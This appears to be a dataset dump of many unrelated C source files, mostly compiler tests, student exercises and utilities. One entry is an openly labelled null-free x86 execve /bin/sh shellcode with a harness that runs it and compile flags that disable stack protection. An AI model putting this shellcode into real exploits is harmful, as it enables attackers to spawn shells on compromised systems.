file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/68888907.c | // RUN: %clang_cc1 -triple i686-windows-gnu -emit-llvm -o - %s \
// RUN: | FileCheck %s --check-prefix=GNU32
// RUN: %clang_cc1 -triple i686-windows-gnu -emit-llvm -o - %s -mms-bitfields \
// RUN: | FileCheck %s --check-prefix=GNU32
// RUN: %clang_cc1 -triple x86_64-windows-gnu -emit-llvm -o - %s \
// RUN: | FileCheck %s --check-prefix=GNU64
// RUN: %clang_cc1 -triple x86_64-windows-msvc -emit-llvm -o - %s \
// RUN: | FileCheck %s --check-prefix=MSC64
struct {
char c;
long double ldb;
} agggregate_LD = {};
// GNU32: %struct.anon = type { i8, x86_fp80 }
// GNU32: @agggregate_LD = dso_local global %struct.anon zeroinitializer, align 4
// GNU64: %struct.anon = type { i8, x86_fp80 }
// GNU64: @agggregate_LD = dso_local global %struct.anon zeroinitializer, align 16
// MSC64: %struct.anon = type { i8, double }
// MSC64: @agggregate_LD = dso_local global %struct.anon zeroinitializer, align 8
long double dataLD = 1.0L;
// GNU32: @dataLD = dso_local global x86_fp80 0xK3FFF8000000000000000, align 4
// GNU64: @dataLD = dso_local global x86_fp80 0xK3FFF8000000000000000, align 16
// MSC64: @dataLD = dso_local global double 1.000000e+00, align 8
long double _Complex dataLDC = {1.0L, 1.0L};
// GNU32: @dataLDC = dso_local global { x86_fp80, x86_fp80 } { x86_fp80 0xK3FFF8000000000000000, x86_fp80 0xK3FFF8000000000000000 }, align 4
// GNU64: @dataLDC = dso_local global { x86_fp80, x86_fp80 } { x86_fp80 0xK3FFF8000000000000000, x86_fp80 0xK3FFF8000000000000000 }, align 16
// MSC64: @dataLDC = dso_local global { double, double } { double 1.000000e+00, double 1.000000e+00 }, align 8
long double TestLD(long double x) {
return x * x;
}
// GNU32: define dso_local x86_fp80 @TestLD(x86_fp80 %x)
// GNU64: define dso_local void @TestLD(x86_fp80* noalias sret %agg.result, x86_fp80* %0)
// MSC64: define dso_local double @TestLD(double %x)
long double _Complex TestLDC(long double _Complex x) {
return x * x;
}
// GNU32: define dso_local void @TestLDC({ x86_fp80, x86_fp80 }* noalias sret %agg.result, { x86_fp80, x86_fp80 }* byval({ x86_fp80, x86_fp80 }) align 4 %x)
// GNU64: define dso_local void @TestLDC({ x86_fp80, x86_fp80 }* noalias sret %agg.result, { x86_fp80, x86_fp80 }* %x)
// MSC64: define dso_local void @TestLDC({ double, double }* noalias sret %agg.result, { double, double }* %x)
// GNU32: declare dso_local void @__mulxc3
// GNU64: declare dso_local void @__mulxc3
// MSC64: declare dso_local void @__muldc3
|
the_stack_data/59512620.c | /* Exercise 1 - Calculations
Write a C program to input marks of two subjects. Calculate and print the average of the two marks. */
#include <stdio.h>
int main() {
int mark1 , mark2;
float ave;
printf("enter mark1");
scanf("%d" ,&mark1);
printf("enter mark2");
scanf("%d" ,&mark2);
ave = (mark1 + mark2)/2;
printf("%f" ,ave);
return 0;
}
|
the_stack_data/198579540.c | /* { dg-do compile } */
/* { dg-additional-options "-Wno-pedantic -Wno-long-long -m64 -fshort-enums" } */
/* Enum return types. Passed as the underlying integer. */
typedef enum { a = 0x1, b } Echar;
typedef enum { c = 0x100, d } Eshort;
typedef enum { e = 0x10000, f } Eint;
typedef enum { g = 0x100000000LL, h } Elonglong;
/* { dg-final { scan-assembler-times ".extern .func \\(.param.u32 %\[_a-z\]*\\) dcl_rc;" 1 } } */
Echar dcl_rc (void);
/* { dg-final { scan-assembler-times ".extern .func \\(.param.u32 %\[_a-z\]*\\) dcl_rs;" 1 } } */
Eshort dcl_rs (void);
/* { dg-final { scan-assembler-times ".extern .func \\(.param.u32 %\[_a-z\]*\\) dcl_ri;" 1 } } */
Eint dcl_ri (void);
/* { dg-final { scan-assembler-times ".extern .func \\(.param.u64 %\[_a-z\]*\\) dcl_rll;" 1 } } */
Elonglong dcl_rll (void);
void test_1 (void)
{
dcl_rc ();
dcl_rs ();
dcl_ri ();
dcl_rll ();
}
/* { dg-final { scan-assembler-times ".visible .func \\(.param.u32 %\[_a-z0-9\]*\\) dfn_rc(?:;|\[\r\n\]+\{)" 2 } } */
Echar dfn_rc (void)
{
return 1;
}
/* { dg-final { scan-assembler-times ".visible .func \\(.param.u32 %\[_a-z0-0\]*\\) dfn_rs(?:;|\[\r\n\]+\{)" 2 } } */
Eshort dfn_rs (void)
{
return 2;
}
/* { dg-final { scan-assembler-times ".visible .func \\(.param.u32 %\[_a-z0-9\]*\\) dfn_ri(?:;|\[\r\n\]+\{)" 2 } } */
Eint dfn_ri (void)
{
return 3;
}
/* { dg-final { scan-assembler-times ".visible .func \\(.param.u64 %\[_a-z0-9\]*\\) dfn_rll(?:;|\[\r\n\]+\{)" 2 } } */
Elonglong dfn_rll (void)
{
return 4;
}
|
the_stack_data/161080841.c | /* The 9 tests below excercise all combinations of 0/1/unknown values
for an #if and #elif combination */
/* 0-0 */
#if zero
discard
#elif zero
delete
#endif
/* 0-1 */
#if zero
eradicate
#elif one
retain
#endif
/* 0-? */
#if zero
remove
#elif whatever
waffle
#endif
/* 1-0 */
#if one
hold
#elif zero
delete
#endif
/* 1-1 */
#if one
display
#elif one
vaporize
#endif
/* 1-? */
#if one
preserve
#elif whatever
reject
#endif
/* ?-0 */
#if whatever
maybe this
#elif zero
delete
#endif
/* ?-1 */
#if whatever
hedge
#elif one /* preserve this comment too */
retain
#endif
/* ?-? */
#if whatever
might keep
#elif whatever
maybe keep
#endif
|
the_stack_data/40761701.c | /*
* os9_conv.c
*
* Apple ][ "The Mill" OS9 DSK image to OS9 RBF format (and back) converter
*
* Created on: 07 gen 2017
* Author: Luca Ridarelli
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define TRACKS 35 /* There are 35 tracks in an Apple ][ standard floppy disk */
#define SECTORS 16 /* 16 sectors per track */
#define BYTES_SECTOR 256 /* 256 bytes per sector */
#define TOTAL_BYTES TRACKS*SECTORS*BYTES_SECTOR /* counting a total of 14560 bytes */
/* Functions prototypes */
void convert_to_OS9( char source[TRACKS][SECTORS][BYTES_SECTOR],char dest[TRACKS][SECTORS][BYTES_SECTOR], int interleave[SECTORS]);
void convert_to_apple( char source[TRACKS][SECTORS][BYTES_SECTOR],char dest[TRACKS][SECTORS][BYTES_SECTOR], int interleave[SECTORS]);
void show_help();
/* Main entry point */
int main(int argc, char *argv[])
{
/* Buffers to hold the source and destination dsk images */
char source_buffer[TRACKS][SECTORS][BYTES_SECTOR];
char destination_buffer[TRACKS][SECTORS][BYTES_SECTOR];
/* The Apple ][ "The Mill" disk sector interleave translation table*/
int apple_interleave[SECTORS] = {0x00,0x0C,0x02,0x07,0x04,0x09,0x0E,0x0B,
0x01,0x06,0x03,0x08,0x0D,0x0A,0x05,0x0F} ;
/* Variables to hold the user provided arguments */
char* source_file_name;
char* destination_file_name;
char* option ;
/* The actions to perform */
enum action {toNone, toMILL, toOS9};
enum action convert = toNone;
/* Input and output standard file structures */
FILE *source_file;
FILE *destination_file;
/* Check the number of arguments and grab them */
if (argc==4)
{
source_file_name=argv[1];
destination_file_name=argv[2];
option=argv[3];
}
else
{ if (argc==1)
{
printf("\nApple ][ \"The Mill\" <-> OS9 RBF DSK converter V 1.0 - 2017 Luca Ridarelli\n\n"
"DSK disk images must origin from Apple ][ \"The Mill\" OS9\n\n");
}
show_help();
return(EXIT_FAILURE);
}
/* check the <option> argument and choose an action */
if (strcmp(option,"-a")==0)
{
convert=toMILL;
}
else
if (strcmp(option,"-o")==0)
{
convert=toOS9;
}
else
{
printf("\nERROR! Wrong Option. \n\n");
show_help();
return(EXIT_FAILURE);
}
/* Try to open the source file */
if ((source_file=fopen(source_file_name,"rb"))==NULL)
{
printf("\nERROR! Unable to Open Source File.\n");
exit(EXIT_FAILURE);
}
/* Try to read the whole file in memory */
if (fread(source_buffer,TOTAL_BYTES,1,source_file) != 1)
{
printf("\nERROR! Unable to read Source File.\n");
exit(EXIT_FAILURE);
}
/* execute the requested action */
switch(convert)
{
case toOS9: convert_to_OS9(source_buffer,destination_buffer,apple_interleave);
break;
case toMILL: convert_to_apple(source_buffer,destination_buffer,apple_interleave);
break;
default : printf("\nERROR! Wrong Option.\n\n");
show_help();
return(EXIT_FAILURE);
}
/* Try to open the destination file */
if ((destination_file=fopen(destination_file_name,"wb"))==NULL)
{
printf("\nERROR! Unable to Open Destination File.\n");
exit(EXIT_FAILURE);
}
/* Try to write the whole buffer to the destination file */
if (fwrite(destination_buffer,TOTAL_BYTES,1,destination_file) != 1)
{
printf("\nERROR! Unable to Write Destination File Write.\n");
exit(EXIT_FAILURE);
}
/* Success! Close all files and exit */
fclose(source_file);
fclose(destination_file);
return(EXIT_SUCCESS);
}
/*
* Convert_to_OS9
*
* Creates a copy, in OS9 RBF format, of the Apple ][ The mill DSK image suppressing the sector interleave and
* exchanges track 0 sectors 0 and 0x0f since , in the Apple Os9 "The Mill" disk, sector 0
* holds 6502 boot code and sector 0x0f the OS9 "identification sector" that , instead , should
* be located at OS9 LSN0 (track 0 sector 0 in our case).
*/
void convert_to_OS9( char source[TRACKS][SECTORS][BYTES_SECTOR],char dest[TRACKS][SECTORS][BYTES_SECTOR], int interleave[SECTORS])
{
for(int track=0;track<TRACKS;track++)
{
for(int sector=0;sector<SECTORS;sector++)
{
for(int byte=0;byte<BYTES_SECTOR;byte++)
{
dest[track][sector][byte]=source[track][interleave[sector]][byte];
}
}
}
for(int byte=0;byte<BYTES_SECTOR;byte++)
{
dest[0][0][byte]=source[0][SECTORS-1][byte];
dest[0][SECTORS-1][byte]=source[0][0][byte];
}
return;
}
/*
* Convert_to_apple
*
* Creates the Apple ][ The mill DSK image resuming the sector interleave and
* exchanging track 0 sectors 0 and 0x0f (see Convert_to_OS9).
* Note that onvert_to_apple assumes that the source file is in OS9 format BUT always
* originated from an Apple ][ OS9 "The Mill" image. In other words, to obtain a regular
* Apple ][ OS9 "The Mill" image, track 0 sector 0xF should always contain the 6502 boot code.
*
*/
void convert_to_apple( char source[TRACKS][SECTORS][BYTES_SECTOR],char dest[TRACKS][SECTORS][BYTES_SECTOR], int interleave[SECTORS])
{
for(int track=0;track<TRACKS;track++)
{
for(int sector=0;sector<SECTORS;sector++)
{
for(int byte=0;byte<BYTES_SECTOR;byte++)
{
dest[track][interleave[sector]][byte]=source[track][sector][byte];
}
}
}
for(int byte=0;byte<BYTES_SECTOR;byte++)
{
dest[0][0][byte]=source[0][SECTORS-1][byte];
dest[0][SECTORS-1][byte]=source[0][0][byte];
}
return;
}
/*
* show_help
*
* shows the help message
*/
void show_help()
{
printf("Syntax : os9_conv <source file> <destination file> <option>\n\n"
"Options: -a (convert OS9 dsk image to Apple ][ \"The Mill\" format)\n"
" -o (convert Apple ][ \"The Mill\" OS9 DSK image to OS9 format)\n");
return;
}
|
the_stack_data/200144127.c | #include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
int getmeme(char*,FILE*);
int meme_interp(char*);
void meme(int*);
int main(int argc, char **argv)
{
if (argc != 2)
return fprintf(stderr,"Usage: %s <input file>\n",argv[0]);
FILE *in = fopen(argv[1],"r");
if (!in)
return fprintf(stderr,"Error: Could not open file %s: %s\n",argv[1],strerror(errno));
char buf[1000] = {0};
int code[10000] = {0};
int i = 0;
for (; strcmp(buf,"what the"); getmeme(buf,in));
while (getmeme(buf,in)) code[i++] = meme_interp(buf);
meme(code);
}
int getmeme(char *buf, FILE *in)
{
char word1[1000] = {0};
char word2[1000] = {0};
if (!~fscanf(in," %s",word1))
return 0;
if (strlen(word1) <= 7)
if (!~fscanf(in," %s",word2))
return 0;
strcpy(buf,word1);
if (word2[0])
strcat(buf," "),
strcat(buf,word2);
return 1;
}
int meme_interp(char *command)
{
//puts(command);
if (!strcmp(command,"frick frack"))
return 1;
else if (!strcmp(command,"diddily dack"))
return 2;
else if (!strcmp(command,"patty wack"))
return 3;
else if (!strcmp(command,"snick snack"))
return 4;
else if (!strcmp(command,"crack pack"))
return 5;
else if (!strcmp(command,"slack mack"))
return 6;
else if (!strcmp(command,"quarterback"))
return 7;
else if (!strcmp(command,"crackerjack"))
return 8;
else if (!strcmp(command,"biofeedback"))
return 9;
else if (!strcmp(command,"backtrack"))
return 10;
else if (!strcmp(command,"thumbtack"))
return 11;
else if (!strcmp(command,"sidetrack"))
return 12;
else if (!strcmp(command,"tic tac"))
return 13;
//else if (!strcmp(command,"does she"))
// exit(EXIT_SUCCESS);
else
return 14;
}
/* memescript */
int op = 0;
enum { NO_OP, PUSH, ADD, SUBTRACT, MULTIPLY, DIVIDE, PRINT, READ };
int stack[30000] = {0};
int size = 0;
void meme(int *code)
{
int i, current, loop;
for (i = 0; code[i]; i++)
{
/* not currently in an operation */
if (op == NO_OP) {
switch (code[i]) {
case 1: op = PUSH; break;
case 2: op = ADD; break;
case 3: op = SUBTRACT; break;
case 4: op = MULTIPLY; break;
case 5: op = DIVIDE; break;
case 6: stack[--size] = 0; break;
case 7: op = PRINT; break;
case 8: op = READ; break;
case 9: continue;
case 10:
if (!stack[size-1]) break;
loop = 1;
while (loop > 0) {
current = code[--i];
if (current == 9) {
loop--;
} else if (current == 10) {
loop++;
}
}
break;
}
}
else if (op == PUSH) {
stack[size++] = code[i];
op = NO_OP;
}
else if (op == ADD) {
stack[size-1] += code[i];
op = NO_OP;
}
else if (op == SUBTRACT) {
stack[size-1] -= code[i];
op = NO_OP;
}
else if (op == MULTIPLY) {
stack[size-1] *= code[i];
op = NO_OP;
}
else if (op == DIVIDE) {
stack[size-1] /= code[i];
op = NO_OP;
}
else if (op == PRINT) {
switch (code[i]) {
case 1: printf("%d",stack[size-1]); break;
case 2: printf("%c",stack[size-1]); break;
}
op = NO_OP;
}
else if (op == READ) {
switch(code[i]) {
case 1: stack[size++] = getchar() - '0'; break;
case 2: stack[size++] = getchar(); break;
}
op = NO_OP;
}
}
putchar('\n');
}
|
the_stack_data/132953541.c | /*
Print a pyramid of stars
where number of rows is given by user
*/
#include <stdio.h>
int main()
{
int totalRows, row, space, star;
printf("Enter the number of rows: ");
scanf("%d", &totalRows);
for (row = 1; row <= totalRows; row++)
{
// Print the space
for (space = 1; space <= totalRows - row; space++)
printf(" ");
// Print the star
for (star = 1; star <= (2 * row) - 1; star++)
printf("*");
// Add a new line
printf("\n");
}
return (0);
} |
the_stack_data/64200422.c | /*
Tiny Execve sh Shellcode - C Language - Linux/x86
Copyright (C) 2013 Geyslan G. Bem, Hacking bits
http://hackingbits.com
[email protected]
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
*/
/*
tiny_execve_sh_shellcode
* 21 bytes
* null-free
# gcc -m32 -fno-stack-protector -z execstack tiny_execve_sh_shellcode.c -o tiny_execve_sh_shellcode
Testing
# ./tiny_execve_sh_shellcode
*/
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = \
"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
"\x80";
main ()
{
// When contains null bytes, printf will show a wrong shellcode length.
printf("Shellcode Length: %d\n", strlen(shellcode));
// Pollutes all registers ensuring that the shellcode runs in any circumstance.
__asm__ ("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp\n\t"
// Calling the shellcode
"call shellcode");
}
|
the_stack_data/6388254.c | /* Exercise 1 - Calculations
Write a C program to input marks of two subjects. Calculate and print the average of the two marks. */
#include <stdio.h>
int main()
{
int sub1 , sub2 , total ;
float average ;
printf("Enter subject 1 marks : ");
scanf("%d", &sub1);
printf("Enter subject 2 marks : ");
scanf("%d", &sub2);
total = sub1 + sub2 ;
average = total / 2.0 ;
printf("Average of the two marks is %.2f ." , average);
return 0;
}
|
the_stack_data/179831800.c | #include<stdio.h>
int main(){
int vetorm[10], i=0,cont = 0, soma=0;
float media;
while(i<10){
printf("Digites uma nota");
scanf("%d", &vetorm[i]);
i++;
}
i=0;
while(i<10){
soma = soma + vetorm[i];
i++;
}
media = soma / 10;
i=0;
while(i < 10){
if (vetorm[i] > media) {
cont++;
}
i++;
}
printf("A média é: %.2f\n", media);
printf("O número de notas acima da media são: %d\n", cont);
return 0;
} |
the_stack_data/75945.c | #include<stdio.h>
void hola(void);
void adios(void);
int suma(int a, int b);
int main (void){
int a;
hola();
adios();
a = suma(8, 6);
printf("%d",a);
return 0;
}
void hola(void){
printf("hola!\n");
}
void adios(void){
printf("adios!\n");
}
int suma(int a, int b){
return a + b;
} |
the_stack_data/87637024.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int cond) { if(!(cond)) { ERROR: __VERIFIER_error(); } }
#define N 250
int main( ) {
int src[N];
int dst[N];
int i = 0;
while ( src[i] != 0 ) {
dst[i] = src[i];
i = i + 1;
}
int x;
for ( x = 0 ; x < i ; x++ ) {
__VERIFIER_assert( dst[x] == src[x] );
}
return 0;
}
|
the_stack_data/133278.c | # 1 "security/mbedtls/src/platform.c"
# 1 "/home/stone/Documents/Ali_IOT//"
# 1 "<built-in>"
# 1 "<command-line>"
# 1 "security/mbedtls/src/platform.c"
# 23 "security/mbedtls/src/platform.c"
# 1 "./security/mbedtls/include/mbedtls/config.h" 1
# 99 "./security/mbedtls/include/mbedtls/config.h"
# 1 "./security/mbedtls/include/mbedtls/check_config.h" 1
# 36 "./security/mbedtls/include/mbedtls/check_config.h"
# 1 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/lib/gcc/arm-none-eabi/5.4.1/include-fixed/limits.h" 1 3 4
# 34 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/lib/gcc/arm-none-eabi/5.4.1/include-fixed/limits.h" 3 4
# 1 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/lib/gcc/arm-none-eabi/5.4.1/include-fixed/syslimits.h" 1 3 4
# 1 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/lib/gcc/arm-none-eabi/5.4.1/include-fixed/limits.h" 1 3 4
# 168 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/lib/gcc/arm-none-eabi/5.4.1/include-fixed/limits.h" 3 4
# 1 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/limits.h" 1 3 4
# 1 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/newlib.h" 1 3 4
# 14 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/newlib.h" 3 4
# 1 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/_newlib_version.h" 1 3 4
# 15 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/newlib.h" 2 3 4
# 5 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/limits.h" 2 3 4
# 1 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/sys/cdefs.h" 1 3 4
# 43 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/sys/cdefs.h" 3 4
# 1 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/machine/_default_types.h" 1 3 4
# 1 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/sys/features.h" 1 3 4
# 9 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/machine/_default_types.h" 2 3 4
# 27 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/machine/_default_types.h" 3 4
# 27 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/machine/_default_types.h" 3 4
typedef signed char __int8_t;
typedef unsigned char __uint8_t;
# 41 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/machine/_default_types.h" 3 4
typedef short int __int16_t;
typedef short unsigned int __uint16_t;
# 63 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/machine/_default_types.h" 3 4
typedef long int __int32_t;
typedef long unsigned int __uint32_t;
# 89 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/machine/_default_types.h" 3 4
typedef long long int __int64_t;
typedef long long unsigned int __uint64_t;
# 120 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/machine/_default_types.h" 3 4
typedef signed char __int_least8_t;
typedef unsigned char __uint_least8_t;
# 146 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/machine/_default_types.h" 3 4
typedef short int __int_least16_t;
typedef short unsigned int __uint_least16_t;
# 168 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/machine/_default_types.h" 3 4
typedef long int __int_least32_t;
typedef long unsigned int __uint_least32_t;
# 186 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/machine/_default_types.h" 3 4
typedef long long int __int_least64_t;
typedef long long unsigned int __uint_least64_t;
# 200 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/machine/_default_types.h" 3 4
typedef int __intptr_t;
typedef unsigned int __uintptr_t;
# 44 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/sys/cdefs.h" 2 3 4
# 1 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/lib/gcc/arm-none-eabi/5.4.1/include/stddef.h" 1 3 4
# 149 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/lib/gcc/arm-none-eabi/5.4.1/include/stddef.h" 3 4
typedef int ptrdiff_t;
# 216 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/lib/gcc/arm-none-eabi/5.4.1/include/stddef.h" 3 4
typedef unsigned int size_t;
# 328 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/lib/gcc/arm-none-eabi/5.4.1/include/stddef.h" 3 4
typedef unsigned int wchar_t;
# 426 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/lib/gcc/arm-none-eabi/5.4.1/include/stddef.h" 3 4
typedef struct {
long long __max_align_ll __attribute__((__aligned__(__alignof__(long long))));
long double __max_align_ld __attribute__((__aligned__(__alignof__(long double))));
} max_align_t;
# 46 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/sys/cdefs.h" 2 3 4
# 6 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/arm-none-eabi/include/limits.h" 2 3 4
# 169 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/lib/gcc/arm-none-eabi/5.4.1/include-fixed/limits.h" 2 3 4
# 8 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/lib/gcc/arm-none-eabi/5.4.1/include-fixed/syslimits.h" 2 3 4
# 35 "/home/stone/Documents/Ali_IOT/build/compiler/gcc-arm-none-eabi/Linux64/lib/gcc/arm-none-eabi/5.4.1/include-fixed/limits.h" 2 3 4
# 37 "./security/mbedtls/include/mbedtls/check_config.h" 2
# 672 "./security/mbedtls/include/mbedtls/check_config.h"
# 672 "./security/mbedtls/include/mbedtls/check_config.h"
typedef int mbedtls_iso_c_forbids_empty_translation_units;
# 100 "./security/mbedtls/include/mbedtls/config.h" 2
# 24 "security/mbedtls/src/platform.c" 2
|
the_stack_data/181394201.c | #include <memory.h>
int main() { return 0; }
|
the_stack_data/931015.c | #include <stdio.h>
int ft_iterative_factorial(int nb)
{
int counter;
int factorial;
counter = nb;
factorial = 1;
while (counter != 0)
{
factorial = factorial * counter;
counter--;
}
printf ("%d", factorial);
return (factorial);
}
int main(void)
{
ft_iterative_factorial(5);
return (0);
}
|
the_stack_data/144976.c | /*
* Author: Andrew Zurn
* Discr: This is a report generator that will use the zurnProg1.log file to generate a detailed report of the game.
* Due Date: 10/24/12
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
int main(int argc, char * argv[]){
int fd;
ssize_t numRead = 0;
char * name[9];
suseconds_t * best[23];
suseconds_t * worst[23];
suseconds_t * average[23];
char * date[23];
int end_of_file = 1;
off_t off_set;
int i;
fd = open("zurnProg1.log", O_RDONLY, S_IRUSR | S_IWUSR);
if(fd == -1){
fprintf(stderr, "open error, exiting\n");
exit(EXIT_FAILURE);
}
for(i = 0; i < 2; i++){
if( (numRead = read(fd, name, 10)) == -1){
fprintf(stderr, "read error, exiting\n");
exit(EXIT_FAILURE);
}
if( (numRead = read(fd, best, 24)) == -1){
fprintf(stderr, "read error, exiting\n");
exit(EXIT_FAILURE);
}
if( (numRead = read(fd, worst, 24)) == -1){
fprintf(stderr, "read error, exiting\n");
exit(EXIT_FAILURE);
}
if( (numRead = read(fd, date, 24)) == -1){
fprintf(stderr, "read error, exiting\n");
exit(EXIT_FAILURE);
}
printf("User name is %s \n", name);
printf("Best time was %d \n", best);
printf("Worst time was %d \n", worst);
printf("Average time was %d \n", average);
printf("Last time played was on %s \n\n", date);
}
if((close(fd)) == -1){
fprintf(stderr, "close error, exiting\n");
exit(EXIT_FAILURE);
}
return(EXIT_SUCCESS);
}
|
the_stack_data/86076405.c | #if defined(USE_DBG)
/* Dbg.c - Tcl Debugger - See cmdHelp() for commands
Written by: Don Libes, NIST, 3/23/93
Design and implementation of this program was paid for by U.S. tax
dollars. Therefore it is public domain. However, the author and NIST
would appreciate credit if this program or parts of it are used.
*/
#include <stdio.h>
/* tclInt.h drags in stdlib. By claiming no-stdlib, force it to drag in */
/* Tcl's compat version. This avoids having to test for its presence */
/* which is too tricky - configure can't generate two cf files, so when */
/* Expect (or any app) uses the debugger, there's no way to get the info */
/* about whether stdlib exists or not, except pointing the debugger at */
/* an app-dependent .h file and I don't want to do that. */
#define NO_STDLIB_H
#include "tclInt.h"
/*#include <varargs.h> tclInt.h drags in varargs.h. Since Pyramid */
/* objects to including varargs.h twice, just */
/* omit this one. */
#include "string.h"
#include "Dbg.h"
#ifndef TRUE
#define TRUE 1
#define FALSE 0
#endif
static int simple_interactor();
static int zero();
/* most of the static variables in this file may be */
/* moved into Tcl_Interp */
static Dbg_InterProc *interactor = simple_interactor;
static Dbg_IgnoreFuncsProc *ignoreproc = zero;
static Dbg_OutputProc *printproc = 0;
static void print();
static int debugger_active = FALSE;
/* this is not externally documented anywhere as of yet */
char *Dbg_VarName = "dbg";
#define DEFAULT_COMPRESS 0
static int compress = DEFAULT_COMPRESS;
#define DEFAULT_WIDTH 75 /* leave a little space for printing */
/* stack level */
static int buf_width = DEFAULT_WIDTH;
static int main_argc = 1;
static char *default_argv = "application";
static char **main_argv = &default_argv;
static Tcl_Trace debug_handle;
static int step_count = 1; /* count next/step */
#define FRAMENAMELEN 10 /* enough to hold strings like "#4" */
static char viewFrameName[FRAMENAMELEN];/* destination frame name for up/down */
static CallFrame *goalFramePtr; /* destination for next/return */
static int goalNumLevel; /* destination for Next */
static enum debug_cmd {
none, step, next, ret, cont, up, down, where, Next
} debug_cmd;
/* info about last action to use as a default */
static enum debug_cmd last_action_cmd = next;
static int last_step_count = 1;
/* this acts as a strobe (while testing breakpoints). It is set to true */
/* every time a new debugger command is issued that is an action */
static debug_new_action;
#define NO_LINE -1 /* if break point is not set by line number */
struct breakpoint {
int id;
char *file; /* file where breakpoint is */
int line; /* line where breakpoint is */
char *pat; /* pattern defining where breakpoint can be */
regexp *re; /* regular expression to trigger breakpoint */
char *expr; /* expr to trigger breakpoint */
char *cmd; /* cmd to eval at breakpoint */
struct breakpoint *next, *previous;
};
static struct breakpoint *break_base = 0;
static int breakpoint_max_id = 0;
static struct breakpoint *
breakpoint_new()
{
struct breakpoint *b = (struct breakpoint *)ckalloc(sizeof(struct breakpoint));
if (break_base) break_base->previous = b;
b->next = break_base;
b->previous = 0;
b->id = breakpoint_max_id++;
b->file = 0;
b->line = NO_LINE;
b->pat = 0;
b->re = 0;
b->expr = 0;
b->cmd = 0;
break_base = b;
return(b);
}
static
void
breakpoint_print(interp,b)
Tcl_Interp *interp;
struct breakpoint *b;
{
print(interp,"breakpoint %d: ",b->id);
if (b->re) {
print(interp,"-re \"%s\" ",b->pat);
} else if (b->pat) {
print(interp,"-glob \"%s\" ",b->pat);
} else if (b->line != NO_LINE) {
if (b->file) {
print(interp,"%s:",b->file);
}
